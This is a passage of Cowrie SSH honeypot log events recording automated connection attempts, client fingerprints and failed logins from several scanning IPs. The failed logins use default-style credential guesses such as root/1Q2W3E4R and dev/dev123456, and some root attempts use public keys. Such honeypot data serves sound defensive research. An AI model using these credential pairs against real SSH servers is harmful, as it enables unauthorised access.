{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42208,"dst_ip":"159.203.135.109","dst_port":22,"session":"42a7955e5988","protocol":"ssh","message":"New connection: 176.65.132.129:42208 (159.203.135.109:22) [session: 42a7955e5988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:42.787002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:42.795818Z","src_ip":"176.65.132.129","session":"42a7955e5988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:42.881253Z","src_ip":"176.65.132.129","session":"42a7955e5988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:43.126585Z","src_ip":"176.65.132.129","session":"42a7955e5988","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42174,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f0203ffcecd","protocol":"ssh","message":"New connection: 172.237.20.62:42174 (159.203.135.109:22) [session: 2f0203ffcecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:43.640747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:43.645325Z","src_ip":"172.237.20.62","session":"2f0203ffcecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:43.807962Z","src_ip":"172.237.20.62","session":"2f0203ffcecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:44.215468Z","src_ip":"176.65.132.129","session":"42a7955e5988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:44.297638Z","src_ip":"172.237.20.62","session":"2f0203ffcecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:45.464350Z","src_ip":"172.237.20.62","session":"2f0203ffcecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36486,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ccdb7e86709","protocol":"ssh","message":"New connection: 176.65.132.129:36486 (159.203.135.109:22) [session: 7ccdb7e86709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:46.051078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:46.055480Z","src_ip":"176.65.132.129","session":"7ccdb7e86709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:46.151935Z","src_ip":"176.65.132.129","session":"7ccdb7e86709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:46.562618Z","src_ip":"176.65.132.129","session":"7ccdb7e86709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:47.647983Z","src_ip":"176.65.132.129","session":"7ccdb7e86709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36502,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f5ffd79273d","protocol":"ssh","message":"New connection: 176.65.132.129:36502 (159.203.135.109:22) [session: 0f5ffd79273d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:49.599581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:49.603280Z","src_ip":"176.65.132.129","session":"0f5ffd79273d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:49.684760Z","src_ip":"176.65.132.129","session":"0f5ffd79273d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:49.932748Z","src_ip":"176.65.132.129","session":"0f5ffd79273d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:51.017856Z","src_ip":"176.65.132.129","session":"0f5ffd79273d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.185.222.46","src_port":60228,"dst_ip":"10.17.0.5","dst_port":22,"session":"43ada16960b8","protocol":"ssh","message":"New connection: 130.185.222.46:60228 (10.17.0.5:22) [session: 43ada16960b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:51.994192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:51.998653Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:52.117218Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:51:54:07:0a:3b:48:c2:55:54:40:3f:b6:f1:78:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+I6P195oxZr42GZ+4bS5P5H23qY3b8ylY7xQWWtwST7MeIG8cm3q0LOFvzKoch/RLkQdBpAIJje5YVWEtcyIvb0P+JTy+LKUwQcfrJJJBpVuLTgJ3vyPx5jRsdoA1GgBSko6XhsYzoQLRi85BgGWB/d0w8bgW58sklZTrXCOxvqAEiJEuIgVgbNt0Rl+gXJjoY5C/C0uBe78q4j3+zycIHdr0AqMNL9MHPWZRTsQMmMpjCekE37Lp+th/Q8lLDiYTRgA17XWa34j76U/gZLUmLG/TJHK4/ikz5SDPvUxN/3KnGyW5Og4/MGXyjso2AFoNPMTVhClkTES45ViZZXld","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:51:54:07:0a:3b:48:c2:55:54:40:3f:b6:f1:78:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:52.677250Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:51:54:07:0a:3b:48:c2:55:54:40:3f:b6:f1:78:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+I6P195oxZr42GZ+4bS5P5H23qY3b8ylY7xQWWtwST7MeIG8cm3q0LOFvzKoch/RLkQdBpAIJje5YVWEtcyIvb0P+JTy+LKUwQcfrJJJBpVuLTgJ3vyPx5jRsdoA1GgBSko6XhsYzoQLRi85BgGWB/d0w8bgW58sklZTrXCOxvqAEiJEuIgVgbNt0Rl+gXJjoY5C/C0uBe78q4j3+zycIHdr0AqMNL9MHPWZRTsQMmMpjCekE37Lp+th/Q8lLDiYTRgA17XWa34j76U/gZLUmLG/TJHK4/ikz5SDPvUxN/3KnGyW5Og4/MGXyjso2AFoNPMTVhClkTES45ViZZXld","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:52.681137Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:c1:38:e8:ba:cd:3d:b7:5e:ee:da:f6:49:bf:38:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3Gl37PBYJ6NwiqwmO5yET+2iRH1gn+1f/1ux3nuNTWbGOcsrHUgnzrzFwGJG7hbj+UgRPqKiKHEei9B6z9SGTciOUqM7N/JDb53Y8lM/AtExPWZHgujZFotPPiBOZu388q4sxnLMUPEJUgIBNxA5+tzCQ7a6VjnZmNUPDcOK/x0uCb54X8NYgiTXJTiJ2AKysxdBEIaB/hNZROv6ut0CDRjMIcMh8rLh5jo77+xwssjDZ1BwpPGutVIFv9z/4n5a4uSVVCquprwrfrRYbUpxc7VpkgQIEmvxFg94gn/3rUsJUb5g+27w0Wcww8WuNwkT0rvWGeKaumD71zqSLB59oRPVcjvQndIwUyNgHWWJzDU+h4IkFAsetLAoUuYCyypdYGg9dmyQNSHeu3Pb5do9CCGtKJ86rZRphw1RSCXR3e5lfFmM8mgKH/ZOCEcAlNPdl8HApOSXIbXfuO4VzmP/BjyR+xWK/3wh+/yqu+ICZT4+YtMtvvyeP9rmqqBVafXN+j/Jrq8zew6FqeGeg1Bi6uK4eZccUGPRJUzbFg/myBOjOfiv8PTL3gLUOkTOYoiXbPzMOM2uUd+AlDzdc9CHdlTUR3zmLgylivlADxeJn1yBzhc77+tzXD2VbIhzbferoj7nWOkQs8Ik455EoWBbVu9ZQDHVkjecYiSE6gawfaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:c1:38:e8:ba:cd:3d:b7:5e:ee:da:f6:49:bf:38:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:52.798357Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:c1:38:e8:ba:cd:3d:b7:5e:ee:da:f6:49:bf:38:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3Gl37PBYJ6NwiqwmO5yET+2iRH1gn+1f/1ux3nuNTWbGOcsrHUgnzrzFwGJG7hbj+UgRPqKiKHEei9B6z9SGTciOUqM7N/JDb53Y8lM/AtExPWZHgujZFotPPiBOZu388q4sxnLMUPEJUgIBNxA5+tzCQ7a6VjnZmNUPDcOK/x0uCb54X8NYgiTXJTiJ2AKysxdBEIaB/hNZROv6ut0CDRjMIcMh8rLh5jo77+xwssjDZ1BwpPGutVIFv9z/4n5a4uSVVCquprwrfrRYbUpxc7VpkgQIEmvxFg94gn/3rUsJUb5g+27w0Wcww8WuNwkT0rvWGeKaumD71zqSLB59oRPVcjvQndIwUyNgHWWJzDU+h4IkFAsetLAoUuYCyypdYGg9dmyQNSHeu3Pb5do9CCGtKJ86rZRphw1RSCXR3e5lfFmM8mgKH/ZOCEcAlNPdl8HApOSXIbXfuO4VzmP/BjyR+xWK/3wh+/yqu+ICZT4+YtMtvvyeP9rmqqBVafXN+j/Jrq8zew6FqeGeg1Bi6uK4eZccUGPRJUzbFg/myBOjOfiv8PTL3gLUOkTOYoiXbPzMOM2uUd+AlDzdc9CHdlTUR3zmLgylivlADxeJn1yBzhc77+tzXD2VbIhzbferoj7nWOkQs8Ik455EoWBbVu9ZQDHVkjecYiSE6gawfaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:52.802159Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36518,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f1cd4395ab1","protocol":"ssh","message":"New connection: 176.65.132.129:36518 (159.203.135.109:22) [session: 0f1cd4395ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:52.885040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:52.889961Z","src_ip":"176.65.132.129","session":"0f1cd4395ab1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:78:a6:cd:0c:43:79:b3:20:2f:d1:b6:7f:d4:4c:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUBZ32NZH5h6XHRed2vTpg3P95jxJtrdXX182nR1oaY5WiPhX8aUTUBEeaNMbWCjDg2tT7YRhw2IQ81D+lJi1Xk+Hvor9L/FuRcPCOWg9BVvInWq5s/AF0XGH/DcqRCPF6f0vwmuLajmZwtxfY5tm4amP97JdK/ZqYV+Ls62rdzIfyoueC+PkRPuSmznwiPSduoy+DUEiYVYJ0NwDfrnsMdXZnxhuMJJ3PY/kO1DwMsSv7+VLHSb8uTtpuiIk1nA2SJdP++NyAqFbqHAgnV6dPOOfbwBIqnDKq4WNmwk2DnFydoONhrEq2QSIiy3Ud4eQGpfaufnDvooEHf1zeGDAd0QYLUH+k2r7hDC56rdaypr5VFeXN9rqRZrcisgnL8vhiU0EUMWhHt4ELqp+yikSrv9ML0y+SIQN5M+ZIC5FruIgh+f31Uo/3tSaxMpeQDxwv/cnLrRuNAaVxICYGUczHXkCvKmQRmCdP4I/AIrrE3//PdxuTapR/AqRymgrF/R9LzHHqVl8NNOVTZtjGaEBvHPkd6kndMyNJr3t2CbdsPpflOn1WFCXo5MLLqpNxg6WdOVl7gPi61wbbJVMTRXPGN/wIo2YBU+cqvoYhGqx18GdwWMgsDBfEOKSTpRLwyX5BluI4IVnrKYiC2rkwuXOyWvpO3AgLmtn25mFvZnVW3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:78:a6:cd:0c:43:79:b3:20:2f:d1:b6:7f:d4:4c:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:52.918713Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:78:a6:cd:0c:43:79:b3:20:2f:d1:b6:7f:d4:4c:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUBZ32NZH5h6XHRed2vTpg3P95jxJtrdXX182nR1oaY5WiPhX8aUTUBEeaNMbWCjDg2tT7YRhw2IQ81D+lJi1Xk+Hvor9L/FuRcPCOWg9BVvInWq5s/AF0XGH/DcqRCPF6f0vwmuLajmZwtxfY5tm4amP97JdK/ZqYV+Ls62rdzIfyoueC+PkRPuSmznwiPSduoy+DUEiYVYJ0NwDfrnsMdXZnxhuMJJ3PY/kO1DwMsSv7+VLHSb8uTtpuiIk1nA2SJdP++NyAqFbqHAgnV6dPOOfbwBIqnDKq4WNmwk2DnFydoONhrEq2QSIiy3Ud4eQGpfaufnDvooEHf1zeGDAd0QYLUH+k2r7hDC56rdaypr5VFeXN9rqRZrcisgnL8vhiU0EUMWhHt4ELqp+yikSrv9ML0y+SIQN5M+ZIC5FruIgh+f31Uo/3tSaxMpeQDxwv/cnLrRuNAaVxICYGUczHXkCvKmQRmCdP4I/AIrrE3//PdxuTapR/AqRymgrF/R9LzHHqVl8NNOVTZtjGaEBvHPkd6kndMyNJr3t2CbdsPpflOn1WFCXo5MLLqpNxg6WdOVl7gPi61wbbJVMTRXPGN/wIo2YBU+cqvoYhGqx18GdwWMgsDBfEOKSTpRLwyX5BluI4IVnrKYiC2rkwuXOyWvpO3AgLmtn25mFvZnVW3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:52.923014Z","src_ip":"130.185.222.46","session":"43ada16960b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"mes